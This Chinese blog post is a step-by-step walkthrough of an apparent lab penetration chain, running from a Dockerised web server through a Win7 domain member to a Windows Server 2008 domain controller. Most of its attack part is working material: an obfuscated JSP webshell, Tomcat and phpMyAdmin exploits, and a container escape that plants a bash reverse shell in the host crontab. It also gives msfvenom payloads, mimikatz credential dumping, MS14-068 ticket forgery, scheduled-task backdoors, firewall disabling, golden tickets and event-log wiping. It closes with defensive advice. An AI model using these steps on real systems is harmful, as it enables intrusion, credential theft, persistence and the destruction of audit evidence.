欢迎光临
我们一直在努力

三层域渗透实战:Web 容器逃逸 + FRP 内网隧道 + MS14-068 伪造票据拿下域控

文章前言

本文完整复现外网 Ubuntu 双网卡 Web 容器→内网 Win7 域成员→Windows Server2008 域控完整渗透链路,靶场严格区分外网 NAT 网段、内网仅主机隔离网段,限制禁止使用永恒之蓝攻击域控,采用 Struts2/Tomcat/phpMyAdmin 三条 Web 打点路径、特权 Docker 挂载逃逸、FRP 反向隧道、MS14-068 Kerberos 票据伪造、DCSync 黄金票据持久化、日志痕迹清除全套实战技术。 所有操作仅在本地授权 VMware 虚拟靶场完成,仅供网络安全学习,严禁用于未授权系统测试。

一、实验靶场环境详解

1.1 靶场整体网络拓扑

图解:拓扑图分为三层,攻击端 Kali处于外网 NAT 网段;中间跳板 Ubuntu Web 服务器双网卡,网卡 1 对接外网、网卡 2 对接内网 仅主机网段;内网包含 Win7 域成员、Win2008 域控 DC 。

(以自己实际IP为准)

目的:模拟企业真实边界架构,公网仅暴露 Web 业务服务器,内网域环境完全隔离无公网入口,攻击者必须突破 Web 跳板、打通内网隧道才能访问核心域控资产。

网段规则说明:

  • NAT 网段(外网):网段 IP 随 VMware 自动分配,Kali、Web 外网网卡互通;
  • VMnet1 仅主机网段(内网):仅 Web 内网网卡、Win7、域控互通;
  • 约束:域控禁止 MS17-010 永恒之蓝漏洞利用,仅允许 MS14-068/Zerologon/Nopac 域漏洞。
  • 1.2 VMware 虚拟网络配置

    图解:VMware 虚拟网络编辑器,VMnet1 设置为仅主机模式,子网 IP 固定192.168.183.0,开启 DHCP 自动分配内网 IP。

    目的:手动锁定内网网段,保证 Win7、域控固定内网 IP,避免网段漂移导致扫描、隧道通信失效。

    1.3虚拟机账号密码

    web:ubuntu\\ubuntu

    win7:douser\\Dotest123

    DC:administrator\\Test2008

    1.4 实验前置必做操作

    (1)Web 容器启动命令

    sudo docker start ec 17 09

    图解:Ubuntu 终端执行sudo docker start ec 17 09启动漏洞容器,下方弹窗为初始化快照创建界面。

    目的:靶场漏洞全部运行在 Docker 容器内,不启动容器则无 Struts2、Tomcat、phpMyAdmin 漏洞服务,实验无法开展;初始化快照用于实验故障一键回滚。

    (2)Win7 休眠关闭配置

    图解:控制面板电源计划,关闭显示器、进入睡眠状态全部设置为「从不」。

    目的:防止实验过程中 Win7 自动休眠断网,导致 FRP 隧道、Meterpreter 会话断开。

    (3)虚拟机快照

    三台虚拟机全部完成网络、服务、电源配置后,统一拍摄「初始化」快照,后续操作破坏虚拟机环境可一键恢复初始干净状态,节省环境重搭时间。

    二、完整渗透思路分层拆解

    整体攻击闭环:外网 Web 多路径打点 → 容器权限判断 + 特权 Docker 挂载逃逸获取宿主机 Root → FRP 反向 Socks 打通内网隧道 → 内网 C 段扫描拿下 Win7 域成员 → Kiwi 抓取普通域账号 → MS14-068 伪造高权限 Kerberos 票据横向至域控 → 域控后门持久化 + DCSync 导出 krbtgt 制作黄金票据 → 全系统事件日志清除痕迹

    2.1 外网打点层

    外网唯一入口 Ubuntu 容器开放 3 个漏洞 Web 服务,三条独立 GetShell 路径:

  • Struts2 S2-045/S2-046 文件上传漏洞,上传 JSP 蚁剑马;
  • Tomcat 8.5.19 CVE-2017-12617 PUT 上传后缀绕过;
  • phpMyAdmin 4.8.1 本地文件包含 LFI 漏洞结合 SQL 写入 Webshell。 拿到容器 Webshell 后识别 Docker 环境,判断特权模式执行容器逃逸。
  • 2.2 Docker 逃逸层

    通过.dockerenv、cgroup、Cap 权限掩码判定容器环境;Cap 掩码证明为特权容器,挂载宿主机磁盘分区写入定时反弹任务,跳出容器获取 Ubuntu 宿主机完整 Root 权限,打通内外网双网卡流量。

    2.3 内网隧道与横向移动层

    宿主机部署 FRP 反向 Socks 代理,将内网192.168.183.0流量转发至 Kali;Fscan 扫描内网存活 Win7 与域控;使用 MS17-010 拿下 Win7 SYSTEM 权限,内存抓取普通域账号douser明文凭据。

    2.4 域控提权接管层

    利用 MS14-068 票据伪造漏洞,普通低权限账号生成域管理员 TGT 票据;凭借票据访问域控 C$ 共享上传正向 Meterpreter 后门,系统定时任务维持域控在线会话。

    2.5 权限维持与痕迹清理层

    域控 SYSTEM 权限下 DCSync 拉取 krbtgt 账户 NTLM 哈希,生成长期有效黄金票据;MSF 事件日志模块清空 Windows 安全、目录服务、应用全量日志,消除所有渗透操作溯源痕迹。

    三、分步详细实战操作(配图说明)

    3.1 外网资产探测:定位 Web 漏洞靶机

    3.1.1 ARP 二层存活扫描

    netdiscover -r 192.168.241.0/24

    图解:二层 ARP 扫描输出网段 4 台 VMware 虚拟机,192.168.241.149为 Ubuntu Web 跳板 IP。 目的:ARP 二层报文不会被 Windows 防火墙拦截,快速定位公网唯一可攻击 Web 服务器,替代易被拦截的三层 Nmap 扫描。

    3.1.2 Nmap 全端口服务版本探测

    nmap -p- -n -O -A -Pn -v -sV 192.168.241.149

    图解:扫描结果开放 2001 (Struts2)、2002 (Tomcat8.5.19)、2003 (phpMyAdmin4.8.1) 三个漏洞 Web 端口,系统为 Ubuntu 容器。

    目的:枚举所有开放端口、服务版本,快速匹配对应 CVE 漏洞编号,确定三条独立外网打点攻击路径。

    3.2 路径一:Struts2 S2-046 漏洞 GetShell

    3.2.1 访问漏洞页面确认框架

    图解:浏览器访问 2001 端口,页面存在.action上传接口,典型 Struts2 框架特征。

    判断依据:URL 后缀.action为 Struts2 默认路由标识,存在文件上传功能,存在 S2 系列漏洞风险。

    3.2.2 工具批量扫描漏洞

    图解:扫描工具检测出目标同时存在 S2-045、S2-046 上传绕过漏洞,返回 200 可利用状态码。 目的:批量验证漏洞可用性,确认可直接上传 JSP 一句话木马。

    3.2.3 上传 JSP 一句话马

    <% // 获取请求参数 String H6Pv4 = request.getParameter("zxx"); if (H6Pv4 != null) { // 自定义类加载器 class E9OXyWMn extends ClassLoader { E9OXyWMn(ClassLoader parent) { super(parent); } // 自定义类定义方法 public Class H6Pv4(byte[] b) { return super.defineClass(b, 0, b.length); } } // 字节码数组 byte[] bytes = null; try { // 初始化的异或解密数组 int[] aa = new int[]{ 99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98 }; // 解密字符串 StringBuilder ccstrBuilder = new StringBuilder(); for (int i = 0; i < aa.length; i++) { aa[i] ^= 16; // 异或解密 ccstrBuilder.append((char) aa[i]); } String ccstr = ccstrBuilder.toString(); // 加载解密后的类 Class APh7z = Class.forName(ccstr); // 调用解码方法 String decodeMethodName = new String(new byte[]{100, 101, 99, 111, 100, 101, 66, 117, 102, 102, 101, 114}); bytes = (byte[]) APh7z.getMethod(decodeMethodName, String.class).invoke(APh7z.newInstance(), H6Pv4); } catch (Exception e) { // 如果解密失败,尝试使用 Base64 解码 bytes = javax.xml.bind.DatatypeConverter.parseBase64Binary(H6Pv4); } // 使用自定义类加载器加载字节码 Class aClass = new E9OXyWMn(Thread.currentThread().getContextClassLoader()).H6Pv4(bytes); // 创建类的实例并调用 equals 方法 Object o = aClass.newInstance(); o.equals(pageContext); } %>

    图解:工具上传面板填入异或加密 JSP Webshell,文件命名 temp111.jsp 上传至 Web 根目录。 原理:采用异或解密 + 自定义类加载器,规避网站 WAF 简单特征拦截,兼容 Tomcat 运行环境。

    3.2.4 蚁剑连接 Webshell

    图解:填写漏洞 URL 与连接密码 zxx,测试连接返回绿色成功标识。

    目的:交互式获取容器文件读写、系统命令执行权限,作为容器逃逸操作入口。

    3.2.5 Webshell 环境信息判断

    图解:执行ls /.dockerenv、cat /proc/1/cgroup,目录与进程文件均包含 docker 字段,确认当前处于 Docker 容器内。

    结论:当前仅容器权限,无法访问宿主机内网网卡,必须执行 Docker 逃逸。

    3.3 路径二:Tomcat CVE-2017-12617 PUT 上传漏洞

    3.3.1 访问 Tomcat 默认页面

    图解:2002 端口 Apache Tomcat 8.5.19 版本页面,版本号匹配 CVE-2017-12617 漏洞。

    原理:Tomcat 允许 PUT 请求上传文件,文件名末尾添加/绕过 jsp 后缀拦截限制。

    3.3.2 Exploit 脚本自动上传马

    searchsploit tomcat 8.5.19
    Python3 42966.py -u http://192.168.241.149:2002 -pwn zxx

    图解:执行 42966.py 漏洞脚本,自动 PUT 上传 JSP 马,执行 whoami 返回容器 root 权限。

    目的:一键自动化完成漏洞利用,快速获取第二条容器 Webshell 备用通道。

    3.3.3 Burp 手工复现漏洞(无工具环境备用)

    图解:左侧 Reuter 构造 PUT 请求,文件名zxx.jsp/添加斜杠绕过校验,请求体放入 JSP 一句话;右侧为服务器 200 成功响应。

    手工利用逻辑:Tomcat 校验文件名时截断斜杠,最终生成 zxx.jsp 可执行后门文件。

    3.3.4 蚁剑 Tomcat Webshell 文件管理

    图解:蚁剑列出 Tomcat 容器 webapps、logs 等目录,完整拥有容器读写权限。

    3.4 路径三:phpMyAdmin 4.8.1 LFI 本地文件包含漏洞

    3.4.1 无密码登录 phpMyAdmin 后台

    图解:2003 端口直接免密进入数据库后台,版本 4.8.1 存在认证后本地文件包含漏洞。

    前置优势:靶场未设置数据库登录密码,直接拥有全部 SQL 执行权限。

    3.4.2 探测网站绝对路径

    图解 1:直接访问 phpinfo 页面无输出,无法获取网站物理路径;

    图解 2:执行SHOW VARIABLES LIKE "%log%"查询通用日志存储路径,备用写马方案。

    3.4.3 Searchsploit 匹配漏洞 EXP

    根据首页看到的phpmyadmin的版本为4.8.1,使用Apache搭建的服务器

    搜索该版本漏洞,发现存在本地文件包含漏洞(搜索出来的RCE脚本也是通过本地文件漏洞完成的)

    searchsploit phpmyadmin 4.8.1
    exploitdb
    cp exploits/php/webapps/44924.txt /root/Desktop

    图解:检索到 44924.txt 本地文件包含、50457.py 远程代码执行 EXP,确认漏洞利用方式。

    3.4.4 LFI 读取 /etc/passwd 验证漏洞可用性

    图解:构造 LFI payload 拼接路径读取 passwd,成功输出系统账号列表,证明文件包含可任意读取服务器文件。

    3.4.5 SQL 写入 Webshell 结合 Session 包含执行

    获取session值

    获取session值后拼接路径读取session文件,查看phpinfo

    http://192.168.241.134:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/

    利用 file_put_contents 函数 GetShell,先把代码写入session中

     拿到新的session后再次拼接执行代码

    完整流程注解:

  • SQL 执行文件写入函数,将 PHP 一句话存入 Session 会话文件;
  • 浏览器 Cookie 获取 phpMyAdmin Session 存储文件名;
  • 利用 LFI 漏洞加载 /tmp 下 Session 文件,执行后门代码生成 zxx.php;
  • 3.4.6 蚁剑连接 php 后门

    图解:填入 2003 端口 zxx.php 地址与密码,成功建立第三条容器控制通道。

    3.5 Docker 特权容器逃逸(核心跳板突破)

    3.5.1 判定当前容器环境

    图解:根目录存在.dockerenv、/proc/1/cgroup 包含 docker 字符串,确认运行在容器内。

    3.5.2 判断特权容器 Cap 权限

    图解:执行cat /proc/self/status |grep Cap,CapEff 掩码为0000003fffffffff,代表完整特权容器,支持挂载宿主机磁盘逃逸。

    逃逸原理:特权容器拥有挂载设备权限,可识别宿主机 /dev/sda 磁盘,写入宿主机定时任务反弹 Root Shell。

    3.5.3 容器内挂载宿主机磁盘

    fdisk -l
    mkdir -p /zxx
    mount /dev/sda1 /zxx
    nc -lvvp 54321
    cd /zxx
    touch /zxx/zxx.sh
    echo "bash -i >& /dev/tcp/192.168.157.129/54321 0>&1" > /zxx/zxx.sh
    echo "* * * * * root bash /zxx.sh" >> /zxx/etc/crontab

    操作流程注解:

  • fdisk -l 识别宿主机 /dev/sda1 系统分区;
  • 创建 /mnt 挂载点,将宿主机磁盘挂载至容器;
  • 编写反弹 Shell 脚本写入宿主机 /etc/crontab,每分钟执行反向连接;
  • 3.5.4 MSF 生成 Linux 反弹 Meterpreter 载荷

    反弹msf的shell到宿主机
    uname -m msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.241.134 LPORT=4444 -f elf > /root/zxx.elf msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 192.168.241.134 set LPORT 4444 run python3 -m http.server 8000

    图解:生成 x64 Linux 反弹 elf 程序,Kali 本地 8000 端口搭建静态文件服务,容器 wget 下载载荷。

    3.5.5 宿主机 Root 反弹会话上线

    图解:宿主机定时任务触发 elf 程序,Kali MSF 收到 Ubuntu 宿主机 Root 权限 Meterpreter,成功跳出 Docker 容器,完整控制双网卡跳板服务器,可访问内网网段。

    3.6 FRP 反向 Socks5 内网隧道搭建

    3.6.1 宿主机双网卡内网网段识别

    图解:eth1 网卡 IP192.168.183.129,属于内网仅主机网段,可连通 Win7 与域控。

    3.6.2 Fscan 扫描内网存活资产

    图解:扫描发现存活主机 192.168.183.128 (Win7)、192.168.183.130 (DC),两台主机 445 端口开放且存在 MS17-010 漏洞。

    3.6.3 FRP 客户端部署与隧道启动

    使用frp搭建隧道,kali做服务端,web做客户端

    #kali服务端
    chmod +x frps ./frps -c ./frps.toml

    meterpreter 内执行:
    upload /root/Desktop/Tools/frp/frp_0.52.3_linux_amd64/frpc
    upload /root/Desktop/Tools/frp/frp_0.52.3_linux_amd64/frpc.toml
    chmod +x
    frpc nohup ./frpc -c frpc.toml >/dev/null 2>&1 &

    图解:Meterpreter 上传 frpc 客户端与配置文件,后台运行 FRP,成功建立 Socks5 代理端口 6000,Kali 所有工具可代理访问内网。

    隧道作用:打通外网 Kali 与隔离内网,无需修改虚拟机网卡,全局代理扫描、漏洞利用内网 Windows 主机。

    3.6.4 Proxychains+MSF 利用 MS17-010 拿下 Win7

    图解:Proxychains 加载 Socks 代理,MSF 永恒之蓝模块攻击内网 Win7,获取 SYSTEM 高权限 Meterpreter 会话。

    规则说明:靶场仅允许 Win7 使用 MS17-010,域控严格禁止该漏洞利用。

    3.6.5 Kiwi 抓取内存域账号凭据

    在 Win7 SYSTEM 会话执行load kiwi,sekurlsa::logonPasswords抓取内存登录信息,获取普通域账号:DEMO\\douser:Dotest123,为 MS14-068 票据伪造提供基础凭据。

    sysinfo
    load kiwi
    kiwi_cmd privilege::debug
    kiwi_cmd sekurlsa::logonPasswords

    3.7 MS14-068 漏洞伪造票据拿下域控

  • 先启用 Win7 远程桌面 RDP,方便 Mimikatz 图形化操作;
  • MS14-068 工具传入普通域账号、SID、域控 IP 生成伪造管理员 TGT 票据;
  • Mimikatz 清除原有 Kerberos 缓存,注入伪造高权限票据;
  • 票据生效后直接访问域控 C$ 共享,上传 Windows 正向 Meterpreter exe 后门;
  • 在域控创建每分钟自启动系统计划任务,后台运行后门,持续维持域控交互式会话;
  • 批处理脚本关闭域控防火墙,避免端口拦截断开连接。
  • #开启3389端口
    use post/windows/manage/enable_rdp
    set session 1
    run
    #判断是否存在该漏洞
    systeminfo |find “3011780”
    #MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
    MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
    生成票据

    kerberos::purge
    kerberos::ptc "TGT_douser@DEMO.COM.ccache"

    注入完成后即可访问到域控目录

    #查看域内成员
    net view
    #访问域管理员目录
    dir \\\\WIN-ENS2VR5TR3N\\c$\\" class=

    生成正向 payload 先上传到 win7 再上传到dc
    msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.241.134 LPORT=6666 -f exe > /root/zxx.exe
    upload /root/zxx.exe C:\\\\Users\\\\douser\\\\Desktop\\\\zxx.exe
    copy copy zxx.exe \\\\WIN-ENS3VR5TRN\\c$

    上传完成后创建计划任务执行payload
    # 在域控创建每分钟执行一次的计划任务运行后门程序
    schtasks /create /S 192.168.138.130 /TN "zxx" /TR C:\\zxx.exe /SC MINUTE /MO 1 /ru system /f /RP
    # MSF开启bind_tcp监听,等待域控主动连接
    use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set RHOST 192.168.138.130 set LPORT 6666 run
    # 生成关闭防火墙批处理脚本
    echo netsh advfirewall set allprofiles state off > zxx.bat
    # 将防火墙脚本上传至域控C盘根目录
    copy zxx.bat \\\\192.168.138.130\\c$
    # 创建计划任务定时执行关闭防火墙脚本
    schtasks /create /S 192.168.138.130 /TN "zxx2" /TR C:\\zxx.bat /SC MINUTE /MO 1 /ru system /f /RP

    防火墙关闭后即可连接成功

    3.8 黄金票据权限维持 + 全日志清除

    3.8.1 DCSync 导出 krbtgt 哈希制作黄金票据

    在域控 SYSTEM 权限加载 kiwi,执行 lsadump::dcsync 导出 krbtgt 账户 NTLM 哈希,通过哈希生成有效期 10 年黄金票据;票据不受管理员密码修改、账号锁定影响,实现永久免密访问全域主机。

    制作黄金票据

    # 加载令牌窃取模块
    load incognito
    # 列出系统内所有可用用户令牌
    list_tokens -u
    # 模拟域管理员token
    impersonate_token "DEMO\\Administrator"
    # 加载kiwi凭据抓取模块
    load kiwi
    # DCSync导出krbtgt哈希
    kiwi_cmd "lsadump::dcsync /domain:DEMO.COM /user:krbtgt"
    golden_ticket_create -d DEMO.COM -k 7c4ed692473d4b4344c3ba01c5e6cb63 -u zxx -s S-1-5-21-979886063-1111900045-1414766810 -t /root/Desktop/zxx.ticket
    # 使用黄金票据
    kerberos_ticket_use /root/桌面/zxx.ticket
    # 列出票据
    creds_all

    3.8.2 清除全量 Windows 事件日志

    清理日志
    #查看事件日志
    run event_manager -i
    #清除所有日志
    run event_manager -c

    图解:MSF event_manager 模块批量清除应用日志、安全日志、目录服务日志、DNS 服务器日志,消除渗透操作所有溯源痕迹,完成完整渗透闭环。

    四、踩坑、原因、解决方案

    1:MSF 开启 socks_proxy 代理自动停止

    • 现象:run 代理模块瞬间 Stopping,无法提供内网转发;
    • 根因:Meterpreter 所有流量本身经过跳板隧道,MSF 内部再开 Socks 形成流量环路死锁;
    • 解决方案:分开两个终端,终端 A 纯净环境常驻 socks_proxy,终端 B 加载 proxychains 执行漏洞利用,隔离环路。

    2:Portfwd 端口转发提示地址占用、会话丢失

    • 现象:添加转发端口报错占用,切换操作窗口转发失效;
    • 根因:端口被本地进程占用,切换会话后跳板 Meterpreter 丢失;
    • 解决方案:portfwd list 查看已占用端口,更换空闲端口;所有转发操作前执行sessions确认跳板会话存活。

    3:Proxychains 扫描 445 超时,永恒之蓝判定无漏洞

    • 现象:SMB 长连接走全局 Socks 丢包,模块直接判定目标无漏洞;
    • 根因:Socks5 代理对 445 SMB 协议兼容性差,延迟极高;
    • 解决方案:放弃全局代理,使用 meterpreter portfwd 单端口定向转发;MSF 漏洞利用添加set Check false跳过预扫描检测,直接执行 EXP。

    4:Psexec 传入账号带反斜杠认证失败

    • 现象:douser\\Dotest123参数解析丢失斜杠,账号校验不通过;
    • 根因:终端特殊转义字符自动过滤反斜杠;
    • 解决方案:账号密码整体使用英文双引号包裹传递参数。

    5:反弹木马 LHOST 绑定内网 IP 监听失败

    • 现象:handler 提示端口绑定失败;
    • 根因:Kali 本机无对应内网网卡,无法监听目标网段 IP;
    • 解决方案:反弹载荷 LHOST 设为0.0.0.0监听本机全部网卡,内网横向改用 bind_tcp 正向载荷无需反弹监听。

    五、总结、防御策略

    5.1 总结

  • 企业边界 Web 是最高危突破口:弱认证、文件上传、数据库漏洞、容器不当配置是攻击者首选入口,三条独立打点路径印证单一 Web 服务存在多个漏洞时风险指数级上升;
  • Docker 特权容器是重大内网隐患:开发人员为方便调试开启特权模式,会直接导致内网全量资产泄露,容器必须严格限制 Cap 权限;
  • 隧道代理是内网渗透基础:FRP 反向隧道比 MSF 自带 Socks 稳定性更强,多层转发极易造成会话掉线,优先短链路转发方案;
  • 域漏洞分层使用:Win7 可使用 MS17-010,域控必须依赖 MS14-068/Zerologon 协议层漏洞,协议漏洞不受端口防火墙简单拦截;
  • 凭据抓取是横向移动核心:即使无高危漏洞,内存明文 / 哈希凭据可直接通过 SMB 访问内网主机,日常需重点监控 Lsass 进程读取行为;
  • 完整渗透包含维持与清痕:仅拿下服务器不算完整攻击,黄金票据持久化、日志清除是真实红蓝对抗必备操作。
  • 5.2 企业服务安全防御策略

    Web 服务加固
  • 及时升级 Struts、Tomcat、phpMyAdmin 版本,关闭 PUT、危险 HTTP 方法;
  • phpMyAdmin 限制 IP 白名单访问,禁用无密码登录,删除文件包含、SQL 高危执行权限;
  • Web 容器禁止特权模式启动,限制 Cap 能力,挂载目录只读,定时清理容器镜像漏洞。
  • Windows 终端加固
  • 及时修复 MS17-010、MS14-068、Zerologon 等高危漏洞,内网 445 端口仅信任业务服务器;
  • 监控 Lsass 内存读取、WMI 远程执行、异常定时任务行为;
  • 边界防火墙完全拦截外网 445、3389 高危端口,杜绝外网横向移动入口。
  • 域环境加固
  • 定期轮换 krbtgt 账户 NTLM 哈希,开启双 krbtgt 密钥轮换策略;
  • 审计 DCSync、Kerberos 异常票据伪造行为,监控非管理员发起的域数据同步请求;
  • 域控禁止普通域账号拥有本地登录、远程访问权限,最小权限分配域用户。
  • 本次三层域渗透串联 Web 漏洞、容器逃逸、内网隧道、Windows 域攻击全套安全技术,完整复刻企业公网 – 内网隔离防护架构。实验过程中绝大多数报错来源于网络配置、代理环路、端口冲突,实验前规范虚拟机网络、拍摄初始化快照可大幅降低排错成本。

    在Docker逃逸,内网隧道搭建,提权这几个都是比较难却容易出错的。

    可以参考红日靶场-红队评估四来进行理解学习。

    声明:

    渗透测试具备极强合规要求,所有漏洞测试必须持有甲方书面授权,未授权扫描、入侵业务系统违反《网络安全法》,日常技术学习仅能在本地隔离虚拟靶场开展。

    赞(0)
    未经允许不得转载:171主机测评 » 三层域渗透实战:Web 容器逃逸 + FRP 内网隧道 + MS14-068 伪造票据拿下域控
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址